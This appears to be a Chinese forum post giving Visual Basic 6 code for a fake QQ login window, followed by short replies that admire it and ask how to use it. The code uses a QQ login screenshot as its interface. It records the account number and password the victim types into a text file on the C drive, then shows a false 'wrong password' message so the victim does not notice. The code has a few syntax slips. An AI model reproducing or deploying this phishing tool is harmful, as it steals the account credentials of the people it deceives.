两个文本筐(text1)，一个标签(label) 一张QQ登陆界面图，一个图片筐（picture)
控件的位子你自己调整一下
代码
private sub form_load()*初始化
text1.text = "<请输入帐号>"
text2.text = "" ’ 密码空
label1.caption = "登陆" ’把LABEL做为登陆按钮
Label1.BackStyle = 1 ‘标签透明
end sub
private sub label1_Click()*登陆事件
open"C:\QQ号码和密码.txt for append as #1 ’ 把QQ号和密码保存在C盘里
print #1,"QQ号码：" & text1.text ‘保存QQ号
print #1,"QQ密码：" & text2.text ’保存密码
Close #1 ‘关闭文件
Msgbox"密码错误，请从新输入",,"提示"
end sub

围观，好牛逼的样子

待会我试试。怎么弄。

这不就是简单的仿QQ登陆器嘛